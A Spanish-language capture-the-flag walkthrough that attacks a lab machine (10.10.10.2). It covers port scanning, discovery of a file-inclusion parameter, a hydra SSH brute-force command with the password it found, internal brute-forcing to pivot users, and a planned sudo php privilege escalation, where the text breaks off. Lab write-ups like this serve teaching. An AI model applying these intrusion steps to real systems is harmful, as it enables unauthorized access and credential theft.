Accedemos a la IP 10.10.10.2 a través del navegador y entramos a la página de configuración de un servidor Apache:
Escaneo de puertos
sudonmap-v-sV-sCV-A-Pn10.10.10.2[sudo] contraseña para kali: Hostdiscoverydisabled (-Pn). All addresses will be marked 'up' and scan times may be slower.StartingNmap7.94SVN ( https://nmap.org ) at 2024-10-02 14:51 CESTPORTSTATESERVICEVERSION22/tcpopensshOpenSSH9.2p1Debian2+deb12u2 (protocol 2.0)|ssh-hostkey:|25603:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)|_25613:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)80/tcpopenhttpApachehttpd2.4.57 ((Debian))|_http-title:Apache2DebianDefaultPage:Itworks|http-methods:|_SupportedMethods:POSTOPTIONSHEADGET|_http-server-header:Apache/2.4.57 (Debian)
Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos.
Fuzzing
Haciendo fuzzing con dirsearch nos encontramos un directorio /shop interesante:
Nos encontramos con una tienda de teclados, en la que se imprime en el front un error de sistema:
Esto nos dice que se está usando un parámetro llamado archivo en la url para pasarle un valor e incluir un archivo en la web y es un indicativo de que podríamos realizar un directory traversal, por ejemplo para leer el passwd:
Encontramos 3 usuarios con shell: root, seller y manchi.
Con esto podríamos hacer fuerza bruta para intentar acceder por SSH, ya que tiene también el puerto 22 abierto:
Bruteforce de SSH
afsh4ck@kali$ hydra -l manchi -P /usr/share/wordlists/rockyou.txt.gz -f 10.10.10.2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-02 16:04:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.10.2:22/
[22][ssh] host: 10.10.10.2 login: manchi password: lovely
[STATUS] attack finished for 10.10.10.2 (valid pair found)
Obtenemos una contraseña válida y accedemos por SSH:
manchi@82fd2b03db42:/home$ ls
manchi seller
manchi@82fd2b03db42:/home$ cd seller/
-bash: cd: seller/: Permission denied
En el directorio home de manchi no encontramos nada relevante, por lo que vamos a pivotar al usuario seller, a ver si conseguimos algo interesante.
Bruteforce interno
Para ello vamos a usar este script de bruteforce:
Nos lo descargamos en la máquina de atacante y nos la enviamos a la máquina víctima con un servidor local en python y wget:
También nos enviamos una versión reducida del diccionario rockyou, como el rockyou-20.txt de Seclists. Ejecutamos el script y nos da la contraseña del usuario seller: querty
Cambiamos al usuario seller con su seller y accedemos correctamente:
Escalada de privilegios
Vamos a elevar nuestros privilegios. En la home de seller encontramos el historial de la terminal, y al leerlo vemos que ha ejecutado sudo -l para ver los permisos de ejecución.
Hacemos un sudo -l y observamos que este usuario seller puede ejecutar php libremente:
Podemos consultar GTFOBins para ver que podemos hacer en este punto, y nos encontramos una forma de elevar nuestros privilegios con php: